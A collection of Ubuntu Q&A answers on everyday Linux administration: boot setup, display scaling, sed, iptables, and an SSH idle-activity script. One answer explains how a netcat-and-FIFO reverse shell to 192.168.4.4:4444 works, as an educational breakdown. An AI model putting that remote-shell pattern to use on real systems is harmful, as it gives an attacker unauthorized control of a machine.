Ubuntu has an excellent image editing software called GIMP. You can goto the software center, and search for GIMP.  As for warping, I think you can do it.


Installing Ubuntu Openstack unable to add hardware

This is being handled as a bug report:

https://github.com/Ubuntu-Solutions-Engineering/openstack-installer/issues/374?


How do I open a new window in the same monitor?

Just start firefox with

firefox --display=:0.0

Where 0.0 corresponds to the display you want to open. Probably you have the first display as 0.0 and the second as 0.1. If you have nVidia then you can open the NVIDIA X Server Settings panel to see which number corresponds to which monitor.


How can I search info and properties on a drive?

If the drive was mounted,it will be shown on the devices list.Right-click on the particular drive and select properties.It will shows the used and free space available on that drive.


Update your phone to the latest version that was released over the weekend. Before installing this update mine had the odd issue, mainly when trying to swipe the unity bar and across apps. However, since the upgrade I have had no issues and all seems better. Worth a shot if you have not done the upgrade already.


I changed the hostname on Ubuntu 20.04 and now I am locked out

You say you can access it with IP address? then you should also still be able to SSH/putty into it. Just don't use the hostname and use the IP to connect until you resolve the problem..
Ergo, if the old hostname was server01 bound to ip 192.168.1.17 and you changed hostname to server02 and then you timed out, and you can still ping 192.168.1.17, then you should still be able to connect to that.


In the file  /etc/apache2/apache.conf comment the below line:

# Include /etc/phpmyadmin/apache.conf

Then, on  /etc/phpmyadmin/apache.conf  make sure the following alias is there:

Alias /phpmyadmin "/usr/share/phpmyadmin/"

Restart the apache:

sudo /etc/init.d/apache2 restart

Now you should be able to use phpmyadmin and the error message should be displayed.

Hope it helps :)


I think what you are looking for is a "do not track" function. Firefox does have something that you could try and use.

See link
It's disabled by default.

The Do Not Track feature is turned off by default. To turn it on:

Click the menu button and choose Options.
Select the Privacy panel.
Click manage your Do Not Track settings.
Check Use Do Not Track.
Close the about:preferences page.
Any changes you've made will automatically be saved.

see: The official mozilla site


How do I get GRUB to load properly from a USB external hard drive?

In step 8 in my question I indicated that I "changed my PC BIOS to boot only from USB".  That is, I went into my BIOS setup, made the USB device my first boot device, and disabled all others.

After much head scratching and experimenting with Ubuntu and grub in order to understand why this wasn't working, I eventually tried pressing F8 at initial boot to get my PC's Boot Selection Popup.  From there, I selected the USB hard drive and voila!.. the grub menu I configured on the USB drive appeared and I could use the Ubuntu on my external drive, ignoring the internal drive completely.

I still don't understand why this works when using my BIOS' Boot Selection Popup but it does not work when selecting the USB device as the first boot device in my BIOS setup.  However, that is clearly not a Ubuntu or grub issue, but rather something wrong with my motherboard's BIOS (I'm using an ASUS P5KPL-CM).


Route all traffic through SSH tunnel or equivalent?

You can use sshuttle.
While doing it over SSH isn't the greatest idea, it works, and I've lost count of how many times I've used it when I can't get into my VPN.
This is how to get it set up:
First, make sure git is installed by running:
sudo apt-get install git
Then, clone the code from github:
git clone git://github.com/apenwarr/sshuttle
You'll need root or sudo access, and python needs to be installed.
Then, do this:

cd sshuttle
./sshuttle -r username@sshserver 0.0.0.0/0 -vv

Also, to make it easier to access everything via ssh, you'll want to set up DynDNS or something similar.
Best of luck, and safe browsing!


ubuntu 16.04 home folder shows hidden directories

Ỳou can try to uncheck it on menu Edit >> Preferences >> Show hidden files.


How to remove Exo Preffered Applications (of Xfce) from Ubuntu

It seems you installed exo-utils in your Ubuntu distribution. To remove it, open a terminal (Ctrl+Alt+T) and type:

sudo apt-get purge exo-utils

NOTE: if you have Xubuntu, or Xfce (which means exo-utils comes by default), then removing it might broke your desktop environment!

In case you are unsure about your distribution, type:

cat /var/log/installer/media-info

If you do not have Xubuntu, but you are not sure whether you have Xfce, type:

echo $XDG_CURRENT_DESKTOP

If you get XFCE in the latter, or Xubuntu in the former, then it is better not to uninstall exo-utils.

If you want to see why this might be problematic, type:

sudo apt-get -s purge exo-utils

This command simulates (hence the -s) the purging of the package, without actually removing it. If you explore the output once it's finished, you will see this:

The following packages will be REMOVED
  exo-utils* orage* thunar* thunar-archive-plugin* thunar-media-tags-plugin*
  thunar-volman* xfce4-cpugraph-plugin* xfce4-dict* xfce4-mailwatch-plugin*
  xfce4-netload-plugin* xfce4-notes-plugin* xfce4-panel* xfce4-places-plugin*
  xfce4-power-manager-plugins* xfce4-quicklauncher-plugin*
  xfce4-systemload-plugin* xfce4-terminal* xfce4-verve-plugin*
  xfce4-weather-plugin* xfce4-whiskermenu-plugin* xfce4-xkb-plugin*
  xfdesktop4* xubuntu-core* xubuntu-desktop*

Which means you are wipping out the whole Xfce desktop environment.


I too have encountered this issue many times in my intial days of using Ubuntu (or similar distros)

To resolve your new issue, follow the steps as given below:

Either download the setup file from this link - Xdman Setup files
OR you can also use the wget command as - wget https://sourceforge.net/projects/xdman/files/xdm-setup-x64.tar.xz (if you are downloading x64 architecture)
Once you have the setup file in tar.xz format, proceed to the next step of extraction. The command is - tar -xvf xdm-setup-x64.tar.xz

The step wise installation goes as follows:

$ wget https://sourceforge.net/projects/xdman/files/xdm-setup-x64.tar.xz

$ tar -xvf xdm-setup-x64.tar.xz

As you execute the command, you can find the extracted folder in your home directory.
Right click on folder name xdman-setup and select Open in terminal.
Once you open the folder in terminal, simply enter - sudo ./install.sh to execute the script as root.

As soon as you execute the above command, you will see installation process will initiate on the terminal itself:

$ sudo ./install.sh
sudo: unable to resolve host mann
[sudo] password for tecjunkie:
rm: cannot remove '/opt/xdman': No such file or directory
Initializing setup...
88939+0 records in
177878+0 records out
91073536 bytes (91 MB, 87 MiB) copied, 0.282047 s, 323 MB/s
Extracting files...
Installing...
Unpacking  /opt/xdman/jre//lib/charsets.pack...
Unpacking  /opt/xdman/jre//lib/ext/localedata.pack...
Unpacking  /opt/xdman/jre//lib/jsse.pack...
Unpacking  /opt/xdman/jre//lib/rt.pack...
Finishing installation...
Xtreme Download Manager installed successfully
You can start XDM from start menu, or type xdman in terminal as non root user

Once done, you can run xdman either from the start menu or you can also type xdman in the terminal.

As soon as you start, it will ask you to choose your browser to help you install add-on for xdman. Just follow in the process and you will then be able to download videos at ease.


Install Ubuntu 12.04 LTS on Lenovo U410 alongside Windows 8

According to this page: http://noelkurian.tk/2013/03/dual-booting-windows-7-and-archlinux-on-lenovo-ideapad-u410/, this can be used as for Ubuntu as for other distros to install. Did you follow a similar aproach to install Ubuntu or you just did it in a different way?


How do I setup an email account in Evolution?

Before we are able to setup an account with Evolution we need to know a few details on your account setting that you need to ask from your provider:

Email address
Username for login
Password for login
Account type: IMAP or POP3
Name of the server for incoming mail (e.g. imap.provider.com)
Name of the server for outgoing mail (e.g. smtp.provider.com)
support for encryption yes/no

With these informations we can setup an account in Evolution (and similarly in other e-mail applications)
Running Evolution for the first time
When running Evolution for the first time a setup assistant will guide you through the setting up your first account. Enter your email address in this menu:

Then enter the server name for incoming mail if it's an IMAP account:

or enter the server name for incoming mail if it's a POP3 account:

In the same window we need to define settings for encryption (if supported):

Next we need to tell Evolution options for incoming mail:

Thenafter we need to give details on the server for outgoing mail (SMTP) (including details on authentication to this server, ask you provider if you don't know):

In the last window we can define a name how this account will be displayed in Evolution:

Adding an account or editing account settings
In case we have Evolution already setup we can add a new account or change account setting by opening Edit -> Preferences and either selecting an exisitinng account to Edit or to Add a new account:

In the first tab we may enter our personal account details:

The second tab Receiving Email makes setting for incoming mail (see also above):

Last we need to give the details for Sending Email:


How to make Ubuntu 16.04 LTS to work in battery mode regardless of laptop's actual AC supply?

First of all, the AC and Battery power information normally is supplied to the kernel via an embedded controller on the motherboard and this ultimately gets handled by ACPI via the kernel ACPI driver layer and so userspace programs get this kind of AC/Battery data via this mechanism.

Normally you don't have any smart controls to tell the underlying hardware to make the system believe it is on battery power when in fact it is being powered by AC.  A lot of machines have BIOS/Embedded controller interactions outside the domain of the kernel control that twiddle fan speeds; so you may find there is no easy way to make the operating system do what you are requiring.

Some laptops do have fan controls in their platform drivers, but a lot don't - the fan control is driven by the BIOS and not under kernel control.


/usr/lib/i386-linux-gnu/libstdc++.so.6: version `GLIBCXX_3.4.19' not found

More lightweight solution is to install just libstdc++ from nondefault repository:

$ sudo add-apt-repository ppa:ubuntu-toolchain-r/test
$ sudo apt-get update
$ sudo apt-get install libstdc++6-4.7-dev


Launch a window in a half of the screen in Lubuntu

This question focuses on Lubuntu, which comes with openbox included in its latest version (14.04.5). As pointed out in the comments, by configuring the ~/.config/openbox/lubuntu-rc.xml file, you can affect the applications included in the ~/.config/autostart, that are run on startup. The following lines added to the <applications> section will place the lxterminal window on the left half, and the gedit window on the right half.

<!-- Allocate 'lxterminal' in the left half-->
<application name="x-terminal-emulator">
  <position>
    <x>0</x>
    <y>0</y>
  </position>
  <size>
    <width>50%</width>
  </size>
  <maximized>Vertical</maximized>
</application>

<!-- Allocate 'gedit' in the right half-->
<application name="gedit">
  <position>
    <x>-0</x>
    <y>0</y>
  </position>
  <size>
    <width>50%</width>
  </size>
  <maximized>Vertical</maximized>
</application>

To learn more follow this link.

Update: Regarding how to make it fit to exactly 50% of the screen, it's been posted in the comments (edited):

lxterminal, like some other terminals, uses characters (in width) and rows for height!

In the rc.xml (keybind section), you can Super+T for

sh -c "wmctrl -xa LXTerminal || lxterminal --geometry=84x44 2&gt;/dev/null"

Then, in the applications section, you write:

<application class="Lxterminal" name="lxterminal">
  <position force="yes">
    <x>-0</x> <y>0</y>
  </position>
  <decor>no</decor>
</application>.

But you have to get the values for lxterminal by trial and error for the screen with the particular chosen font type and font size.


Try this in the Terminal (Ctrl+Alt+T):

sudo mount -o loop yourisofile.iso /media/isofile

But first you need yo go to /media and create a folder (called isofile in the above example) where your iso will be mounted.


system very slow after upgrading to 12.10

If the separate partition with all your personal data is a separate /home partition (recommended) then all or most of your settings will not be overwritten.  To restore installed programs you can make a list with dpkg --get selections and re-install them on the new setup.  Have a look at the answers to this question for a few different methods to do this, but I recommend the dpkg one if the system is the same release level.


How does this command work? (reverse shell)

Let's think in standard streams, stdin and stderr for a minute.

nc 192.168.4.4 4444 >/tmp/f

The stdout stream of nc gets duplicated to /tmp/f fifo, which means whatever it receives from the other machine over the network goes there. So where does stdin comes from ? From /bin/sh -i 2>&1. As far as nc is concerned, it just has to send that data back to the other machine.

Well, what does /bin/sh -i do ? It invokes interactive shell - the one where you type commands and print output to stdout. The user@host prompt is typically (if not always) printed to stderr, but we need to send that to remote machine, hence 2>&1 redirection is applied to send the prompt via pipe. Well, we can't use stdout to print the output - the shell has to send that to nc 192.168.4.4 4444 to be sent over the network. We can't read stdin either - cat /tmp/f will be using that to print whatever command is issued from the machine A in your example.  Piping commands to the interactive shell isn't anything particularly special - when stdin is rewired an application isn't aware of it unless it is actively checking.

$ echo 'df' | sh -i
$ Filesystem     1K-blocks     Used Available Use% Mounted on
udev             4000944        0   4000944   0% /dev
tmpfs             805348     1400    803948   1% /run
/dev/sda1       28717732 25907684   1328188  96% /
tmpfs            4026732    97496   3929236   3% /dev/shm
tmpfs               5120        4      5116   1% /run/lock
tmpfs            4026732        0   4026732   0% /sys/fs/cgroup
/dev/sdb1      115247656 99204832  10165476  91% /mnt/ubuntu
tmpfs             805344       32    805312   1% /run/user/1000
$
sh: 1: Cannot set tty process group (No such process)

So to put it briefly, shell reads commands from fifo and sends commands over the network via pipe to nc. The commands sent from remote to local shell are written by nc to the fifo. And so the loop goes on and on. The text-based data-flow diagram below also summarizes the same information

                             input data
                                  ||  /\
             (in via network)     \/  || (back via network `/bin/sh` via nc`)

cat /tmp/f  == > /bin/sh -i 2>&1 ==> nc 192.168.4.4 4444 ==>  /tmp/f ==||
  /\                                                                   ||
  ||                                                                   \/
  ======================================================================

On the tangent note, notice that making a 3-command pipeline like that allows us to spawn these commands in one go (although the order is not guaranteed) in a much less convoluted way. If we were to do this manualy and have all as foreground processes, nc would have to be started first to listen in one shell, cat in the other shell, sh in the third.  For the time it takes us to prepare them, it would block either read or write from the named fifo file /tmp/f, and it would also raise a question of how to sent output from cat to /bin/sh and from /bin/sh to nc , which may also add more named pipes.  Using a pipe does three fork() calls, and three exec() calls in one shell, and allows us to make them all talk via file descriptors; regardless of the order in which they may start - this is much faster and less convoluted, though not the easiest to understand without knowing how pipes,file descriptors, and the commands behave.

IMPORTANT NOTE: traditional nc as protocol doesn't provide any security of information - commands and their output are transmitted over network in plain text and an attacker could potentially modify the data between machine A and B. If you do want to have secure way to issue commands to the remote machine via its shell - use ssh. The ssh protocol was designed specifically for that purpose. If you do intend to use secure protocol use openssl or ncat.


Remove any trailing blank lines or lines with whitespaces from end of file

Your script should work if fixed like so:

while
 last_line=$(tail -1 "./file.txt")
 [[ "$last_line" =~ ^$ ]] || [[ "$last_line" =~ ^[[:space:]]+$ ]]
do
 sed -i '$d' "./file.txt"
done

Your script had two main problems: (1) you never updated $last_line, so the loop's guard would always evaluate the same thing; (2) your [[ "$last_line" =~ $ ]] test matched any line, since any line has an end. (This is the reason why your script emptied your file completely.) You probably want to match against ^$ instead, which matches only empty lines. Additionally, I simplified the sed command to delete the last line in the loop's body (simply $d does the job).

However, this script is unnecessarily complicated. sed is there for just that kind of thing! This one-liner will do the same thing as the above script:

sed -i ':a;/^[ \n]*$/{$d;N;ba}' ./file.txt

Roughly,

Match current line against ^[ \n]*$. (i.e, can only contain whitespaces and newlines)
If it doesn't match, just print it. Read in next line and continue with step 1.
If it does match,

If we are at the end of the file, delete it.
If we are not at the end of the file, append the next line to the current line, inserting a newline character between the two, and go back to step 1 with this new, longer line.

There are lots of awesome sed tutorials on the Internet. For example, I can recommend this one. Happy learning! :-)

Update: And of course, if you additionally want to remove the last (non-blank) line of the file after having truncated the trailing blank lines, you can just use another sed -i '$d' ./file.txt after either your script or the above one-liner. I intentionally did not want to include that in the sed one-liner since I thought that removing trailing blank lines is quite a reusable piece of code that may be interesting for other people; but removing the last non-blank line is really specific to your use case, and trivial anyway once you removed the trailing blank lines.


Cannot access folders shared on the second hdd

Had the same problem,then I mount my 2nd drive in home folder:

UUID=e0b32ed6-51db-4f24-a4ab-706bd8d68922 /home/user/hdd   ext4    defaults        0       2

That fixed my problem, I hope it helps.


fetching 1 line up and 1 line down from a line number

In sed you specify the first line and last line you want like this
sed -n '48964203,48964205p' xag

since you know the line number specify the previous number and the subsequent number!
Explanation

-n be quiet until we ask you to print something
2,7 the first line I want and the last line I want & everything in between. This is an address.
p print those lines


Solved, at least for me.

I think it is a hardware issue, because I tried a 12.04 live CD in my desktop and everything works fine. I tried at my laptop and it doesn't open the USB automatically.

Any way the solution that I found is to install usbmount by running the command below on the terminal:

sudo apt-get install usbmount

Then USB mounts fine and automatically.

More info in this page. I also installed autofs.

Hope this works for you.


I mounted my external by making sure that the drive was partitioned in windows.. seems it needs a dos mount point..then linux would look at the drive and allow partitioning and formatting. Works great.


Adapt Ubuntu to a high-DPI resolution screen

There are some steps to take:

1. System wide Menu and titlebar scaling

Starting with Ubuntu 14.04 we have an option that helps a bit:

Scaling Support

open the System Settings (here in english:)

LANG=c unity-control-center

Go to "Displays" and set the "Scale for menu and title bars":

Since Ubuntu 17.10 the scaling can be set in

LANG=c gnome-control-center

Go to Settings > Devices > Displays there

see also: How to find and change the screen DPI?

2. Universal Access

Go to "Universal Access" (unity-control-center universal-access) and select "Large Text".
Note: not all applications handle this correctly, some will not reserve the extra space, so some UI elements are not accessible with this option!

3.increase unity dock size

In unity-control-center->Appearance->Look at the botom, you can adjust the size

4. adapt Firefox

see: Adjust Firefox and Thunderbird to a High DPI touchscreen display (retina)

(or use Chrome, which works fine since Version 41.0.2272.76 Ubuntu 14.10, though Chrome will need to be restarted to take effect)

5. increase font in Pidgin

There is a plugin you can install

sudo apt-get install pidgin-extprefs

Then you can increase the font in Plugins->Extended Prefs

6. create starter for applications that still don't scale

Some applications still don't obey the global scaling (mainly java) for those few applications you can create a starter to only Fix scaling of java-based applications for a high DPI screen

in older Ubuntu versions, with unity-tweak-util in the section "Fonts" you can set the "Text Scaling Factor" to 2.0. This will scale the fonts in most applications to double size.


How to specify the memory size in ubuntu in GB?

Using free
To show In GB run the command:
free -g

Using dmidecode
Run the command:
sudo dmidecode -t 17

It will show you full description of every  memory slot.

Now What did that values from free mean?
First, note this:

Linux uses perm storage device (⁖ hard-disk ) as virtual memory. The
virtual memory on hard-disk is called swap space. Virtual memory
means the perm storage is used as temp space for RAM. So, when your
RAM is full, the OS can off-load parts of it currently not used data
to disk, therefore free up memory for application that needs it.
Also, Linux uses RAM as cache for file data (from hard-disk).
(Because RAM's IO speed is a thousand times faster than hard disk,
so OS will load disk data to RAM as cache)

example: output of free -m (“-m” means mega bytes).
             total       used       free     shared    buffers     cached
Mem:          5798       2145       3653          0        160       1121
-/+ buffers/cache:        862       4935
Swap:         5885          0       5885

in the first row Mem, the total 5798 is the total RAM.
used + free = total. Check: 2145 + 3653 = 5798.
“used” includes used for disk cache purposes.
“cached” is amount of disk data sitting in RAM for fast access.
So, real free should be “free + buffers + cached”, and in this example it is 3653 + 160 + 1121 = 4934.
and actually used should be “used - buffers - cached” (2145 - 160 - 1121 = 864).
And if we add 4934 and 864 we get the “total”.
Explanation of free is quoted from http://xahlee.info/linux/linux_free_memory.html


Denyhosts is no longer available. You can use fail2ban or better, a few ssh tips.

Use ssh keys and disable password authentication.
iptables can do essentially the same thing as denyhosts and fail2ban . The advantage is no additional packages are required.

iptables -A INPUT -p tcp -m tcp --dport 22 -m tcp -m state --state NEW -m recent --set --name SSH --rsource

iptables -A INPUT -p tcp -m tcp --dport 22 -m recent --update --seconds 600 --hitcount 8 --rttl --name SSH --rsource -j REJECT --reject-with icmp-host-prohibited

iptables -A INPUT -p tcp -m tcp --dport 22 -j ACCEPT

See:

http://bodhizazen.com/Tutorials/SSH_security

http://bodhizazen.com/Tutorials/iptables#Additional_Tips

On the second link, scroll down a bit. You will need to save and restore your iptables rules.


Intel Grpahics drivers are included in the kernel . You don't need to add any new drivers for it.

(to confirm you have only Intel grphics you can run lspci | grep VGA)


I found my answer in backtrack linux forums. And since I set up the bounty I would like to explain a little bit what my problem was and how it got solved.

I was trying to customize Ubuntu/KUbuntu 10.04 Live CD and I couldn't figure out how to change the splash screen that shows after isolinux.

Changing playmouth theme  available on the extracted filesystem.squashfs at /lib/plymouth/themes/ didn't do the trick.

So I found this message stating that the splash screen files used by the Live CD to boot reside in casper/initrd.lz.

So, if you are interested to know how to extract and reconstruct this file, read the end of the section 5.7.1. Quote:

  To unpack the initrd.lz file, you need to do this:

cd extract-cd/casper
mkdir lztempdir
cd lztempdir
lzma -dc -S .lz ../initrd.lz | cpio -imvd --no-absolute-filenames

  And to re-create the initrd.lz file:

cp ../initrd.lz ../inird.lz.orig
find . | cpio --quiet --dereference -o -H newc | lzma -7 > ../initrd.lz


Do you get SMTP greeting mesage from a remote mail server?

telnet 66.196.118.37 25

You may use tcptraceroute to locate the firewall blocking SMTP connections.

man tcptraceroute


Prevent host shutting down when remotely logged in

I developed a script called ssh-activity that:

Monitors output from w command every 60 seconds.
If one or more remote logged in users have typed something then simulate user activity with dbus call.
If activity would unblank screen then immediately blank it on server.
Honor setting for screen blanking time and force blanking at appropriate time.
If remote user doesn't type anything in terminal, broadcast messages (using wall command) warning of shutdown or suspend.

ssh-activity script

#!/bin/bash

# NAME: ssh-activity
# PATH: /mnt/e/bin
# DESC: When ssh client types in terminal send dbus method for user activity.

# CALL: Must run on host. Shaould be called in startup applications after user
#       logs into host desktop. Broadcast message when inactive that system
#       going down in 60, 30, 15, 10, 5, 3, 2, 1, 0 minute(s).

# PARM: --n (-no-blank-lock) and -d (--debug)

# DATE: June 21, 2020. Modified: Original Version.

# NOTE: After updating run: scp /mnt/e/bin/ssh-activity dell:/mnt/e/bin

#       For Debugging:
#           on host run: ssh-activity -d | tee ssh-activity.log
#           on client run: while : ; do echo "==========  ssh-activity.log $(date)  ==========" ; tail ssh-activity.log ; sleep 60 ; done

# Global constants
export LANG=C       # Force english names for sed & grep searches
SLEEP_SECS=60       # Seconds to sleep between 'w -ish' command usage
REMOTE="192.168.0"  # What we 'grep' for in 'w -ish' output
fDebug=false        # When debug is on issue progress messages
fNoBlankLock=false  # Don't blank or lock screen

ParseParms () {

    while [[ $# -gt 0 ]] ; do
        key="$1"
        case $key in
            -d|--debug)
                fDebug=true
                echo "Development Mode = $fDebug"
                shift # past argument
                ;;
            -n|--no-blank-lock)
                fNoBlankLock=true
                shift # past argument
                ;;
            *)  # unknown option
                echo "Usage: ssh-activity -d (--debug) -n (--no-blank-lock)"
                exit
            ;;
        esac
    done
} # ParseParms

# Must have the xprintidle package.
command -v xprintidle >/dev/null 2>&1 || { echo >&2 \
        "'xprintidle' package required but it is not installed.  Aborting."; \
        exit 3; }

# Global gsettings set by Init () function need to control screen & suspending
GsAcTimeOut=0   # idle seconds until system sleeps (0=never for all settings)
GsIdleDelay=0   # idle seconds until screen blanks (a good thing for server)
GsLockDelay=0   # idle seconds until screen locks (a bad thing if logged in)
GsLockEnabled=0 # is lock screen enabled? ('false' overrides GsLockDelay)
fOneTime=false  # for displaying debugging information one time only

Init () {

    # gsettings required to know when system shuts down due to xidle time
    GsAcTimeOut=$(gsettings get org.gnome.settings-daemon.plugins.power \
                        sleep-inactive-ac-timeout)

    # gsettings required for blanking and locking screen when no host activity
    if [[ $fNoBlankLock == false ]] ; then
        GsIdleDelay=$(gsettings get org.gnome.desktop.session idle-delay)
        # Cut out rightside value from 'uint32 0'
        GsIdleDelay="${GsIdleDelay##* }"
        [[ $GsIdleDelay -eq 0 ]] && GsIdleDelay=999999
        GsLockDelay=$(gsettings get org.gnome.desktop.screensaver lock-delay)
        GsLockDelay="${GsLockDelay##* }"
        [[ $GsLockDelay -eq 0 ]] && GsLockDelay=999999
        GsLockEnabled=$(gsettings get org.gnome.desktop.screensaver lock-enabled)
    fi

    if [[ $fDebug == true && $fOneTime == false ]] ; then
        echo "$0 started at: $(date)"
        echo "GsAcTimeOut: $GsAcTimeOut"
        echo "GsIdleDelay: $GsIdleDelay"
        echo "GsLockDelay: $GsLockDelay"
        echo "GsLockEnabled: $GsLockEnabled"
        fOneTime=true
    fi

} # Init

GetWish () {
    # 'w' command '-ish' arguments (--ip-adddr, --short, --no-header) returns:
    #       rick     pts/21   192.168.0.12      4.00s sshd: rick [priv]

    local ArrEntCnt ArrCols ArrRows CheckSum i

    ArrCols=5
    WishArr=( $(w -ish | grep "$REMOTE" | tr -s " " | \
             cut -d' ' -f1-"$ArrCols") )
    # The fifth column on each row repurposed to be idle time seconds
    ArrEntCnt="${#WishArr[@]}"
    [[ $ArrEntCnt -lt "$ArrCols" ]] && return 1  # No remote users

    ArrRows=$(( $ArrEntCnt / ArrCols ))
    CheckSum=$(( ArrRows * ArrCols ))
    # Error possible if 'w -ish' command breaks down
    [[ $ArrEntCnt -ne "$CheckSum" ]] && { echo CheckSum failed ; \
                                                return 2 ; }

    LowestSeconds=999999

    for (( i=0; i<ArrEntCnt; i=i+ArrCols )) ; do
        # Time formatted as DDdays, HH:MMm, MM:SSs & SS.CC convert to Seconds
        WishSeconds "${WishArr[i+3]}" Seconds
        WishArr[i+4]=$Seconds   # Store in repurposed array column # 5
        [[ $Seconds -lt "$LowestSeconds" ]] && LowestSeconds="$Seconds"

        [[ $fDebug == true ]] && echo "${WishArr[i]} ${WishArr[i+1]} \
${WishArr[i+2]} Wish Time: ${WishArr[i+3]} Seconds: ${WishArr[i+4]} "
    done

    return 0

} # GetWish

: <<'END'
/* ------------ NOTES  --------------------------------------------------------

$ w -ish

rick     tty7     :0                2days /sbin/upstart --user
rick     pts/21   192.168.0.12      4.00s sshd: rick [priv]
AND THEN LATER ON....
rick     pts/21   192.168.0.12     44.00s sshd: rick [priv]
rick     pts/21   192.168.0.12      1:24  sshd: rick [priv]
rick     pts/21   192.168.0.12      2:04  sshd: rick [priv]

From: https://serverfault.com/questions/302455/
      how-to-read-the-idle-column-in-the-output-of-the-linux-w-command/
      302462#302462

From the man page:

    The standard format is DDdays, HH:MMm, MM:SS or SS.CCs .
    if the times are greater than 2 days, 1hour, or 1 minute respectively.
    so your output is MM:SS (>1m and <1 hour).

---------------------------------------------------------------------------- */
END

WishSeconds () {

    # PARM 1: 'w -ish' command idle time 44.00s, 5:10, 1:28m, 3days, etc.
    #      2: Variable name (no $ is used) to receive idle time in seconds

    # NOTE: Idle time resets to zero when user types something in terminal.
    #       A looping job calling a command doesn't reset idle time.

    local Wish Unit1 Unit2
    Wish="$1"
    declare -n Seconds=$2

    # Leading 0 is considered octal value in bash. Change ':09' to ':9'
    Wish="${Wish/:0/:}"

    if [[ "$Wish" == *"days"* ]] ; then
        Unit1="${Wish%%days*}"
        Seconds=$(( Unit1 * 86400 ))
    elif [[ "$Wish" == *"m"* ]] ; then
        Unit1="${Wish%%m*}"
        Unit2="${Unit1##*:}"
        Unit1="${Unit1%%:*}"
        Seconds=$(( (Unit1 * 3600) + (Unit2 * 60) ))
    elif [[ "$Wish" == *"s"* ]] ; then
        Seconds="${Wish%%.*}"
    else
        Unit1="${Wish%%:*}"
        Unit2="${Wish##*:}"
        Seconds=$(( (Unit1 * 60) + Unit2 ))
    fi

} # WishSeconds

HostShutDownMessage () {

    # Send wall message 60, 30, 15, 10, 5, 3, 2 and 1 minute(s) before shutdown

    [[ $GsAcTimeOut == 0 ]] && return           # System never shuts down
    MinutesLeft=$(( ( GsAcTimeOut / 60 ) - ( IdleSeconds / 60 ) ))
    case $MinutesLeft in
        60|30|15|10|5|3|2|1)
            [[ $fDebug == true ]] && \
                echo "'wall' broadcast: shutdown in: $MinutesLeft minute(s)."
            wall "If no activity, shutdown in: $MinutesLeft minute(s)." ;;
        0)
            [[ $fDebug == true ]] && \
                echo "Host system shutdown at: $(date)"
            wall "HOST SYSTEM SHUTDOWN at: $(date)" ;;
    esac

} # HostShutDownMessage

SSC_Result=""
ScreenSaverCommand () {

    # Send dbus method to screen saver
    Parm1="$1"  # GetActiveTime, Inhibit, Throttle, Lock, UnThrottle, Unihibit,
                # GetActive, SetActive (requires true), SimulateUserActivity,
                # GetSessionIdleTime (broken!)
    Parm2="$2"  # Optional, a value like 'true'

    # If parameter 2 not passed force it to be unset, instead of null parm
    SSC_Result=$(gdbus call --session --dest org.gnome.ScreenSaver \
                  --object-path /org/gnome/ScreenSaver \
                  --method org.gnome.ScreenSaver."$Parm1" ${Parm2:+"$Parm2"})
    [[ $fDebug == true ]] &&  echo Screen Saver Command: $Parm1 $Parm2   \
                                   Result: $SSC_Result

} # ScreenSaverCommand

CheckToBlankOrLock () {

    # Comments from above
    # GsAcTimeOut=0   # idle seconds until system sleeps (0=never for all settings)
    # GsIdleDelay=0   # idle seconds until screen blanks (a good thing for server)
    # GsLockDelay=0   # idle seconds until screen locks (a bad thing if logged in)
    # GsLockEnabled=0 # is lock screen enabled? ('false' overrides GsLockDelay)

    [[ $fDebug == true ]] && echo IdleSeconds: $IdleSeconds \
                                  ResetIdleSeconds: $ResetIdleSeconds

    # Is screen blanked ?
    ScreenSaverCommand "GetActive"
    if [[ $SSC_Result == *"false"* ]] ; then
        # Screen is not blanked. We may have to blank it though
        ScreenSaverCommand "SimulateUserActivity"
        NewIdle="$(xprintidle)"
        [[ $NewIdle -gt 1000 ]] && echo "ERROR: Idle time not reset: $NewIdle"
        # Screen is not blanked, check if we should blank it
        if [[ $ResetIdleSeconds -gt $GsIdleDelay ]] ; then
            [[ $fDebug == true ]] && echo Forcing screen blank
            ScreenSaverCommand "SetActive" true
        else
            : # We didn't blank screen but it is blank now from host inactivity
            # No need to simulate activity while user is active
        fi
    else
        : # Screen is blanked before simulation, blank it afterwards
#        [[ $fDebug == true ]] && echo Simiulating activity and blanking screen
        ScreenSaverCommand "SimulateUserActivity"
        ScreenSaverCommand "SetActive" true
        NewIdle="$(xprintidle)"
        [[ $NewIdle -gt 1000 ]] && echo "ERROR: Idle time not reset: $NewIdle"
    fi

    # TODO: Check if screen is locked.

} # CheckToBlankOrLock

ResetIdleSeconds=0  # Total idle seconds we've invoked not host activity
SavedBlankSetting=false

SimulateUserActivity () {

    # Is screen blanking and locking check turned off with parameters?
    if [[ $fNoBlankLock == true ]] ; then
        ScreenSaverCommand "SimulateUserActivity"
        NewIdle="$(xprintidle)"
        [[ $NewIdle -gt 1000 ]] && echo "ERROR: Idle time not reset: $NewIdle"
        return 0
    fi

    if [[ $IdleSeconds -lt "$LowestSeconds" ]] ; then
        # User activity on host is resetting idle time so no need for us to.
        ResetIdleSeconds=0
    else
        # xidle seconds is greater than or equal to remote terminal activity
        ResetIdleSeconds=$(( ResetIdleSeconds + IdleSeconds ))
        CheckToBlankOrLock  # Each time called also simulates user activity
    fi

} # SimulateUserActivity

main () {

    ParseParms "$@"

    LowestSeconds=999999
    if [[ $fDebug == true ]] ; then
        LoopCnt=10   # Fake user inactivity for ten minutes
    fi

    while : ; do    # Loop forever
        Init        # Support user changing idle time settings on server
        GetWish     # Get idle times using 'w -ish'

        # Is a local user working at server or did we set last idle activity?
        IdleSeconds=$(( $(xprintidle) / 1000 ))    # returns milliseconds

        [[ $fDebug == true ]] &&  echo IdleSeconds: $IdleSeconds \
                                       LowestSeconds: $LowestSeconds
        # If xprintidle time is less than SLEEP_SECS yes there is
        # If xprintidle time is equal to last override time then no

        # If Wish Seconds < SLEEP_SECS there was activity from remote user
        if [[ $LowestSeconds -lt "$SLEEP_SECS" ]] ; then
            SimulateUserActivity
            IdleSeconds=0
        else
            IdleSeconds=$(( IdleSeconds + SLEEP_SECS ))
            # Send wall message 10, 5, 3, 2 and 1 minutes before disconnect.
            HostShutDownMessage
        fi

        sleep "$SLEEP_SECS"
    done
} # main

main "$@"

Sample results on host when ssh-activity -d used
==========  ssh-activity.log Sun Jun 21 20:09:36 MDT 2020  ==========
IdleSeconds: 300 LowestSeconds: 338
rick pts/1 192.168.0.12 Wish Time: 1:42m Seconds: 6120
rick pts/19 192.168.0.12 Wish Time: 6:38 Seconds: 398
IdleSeconds: 360 LowestSeconds: 398
rick pts/1 192.168.0.12 Wish Time: 1:43m Seconds: 6180
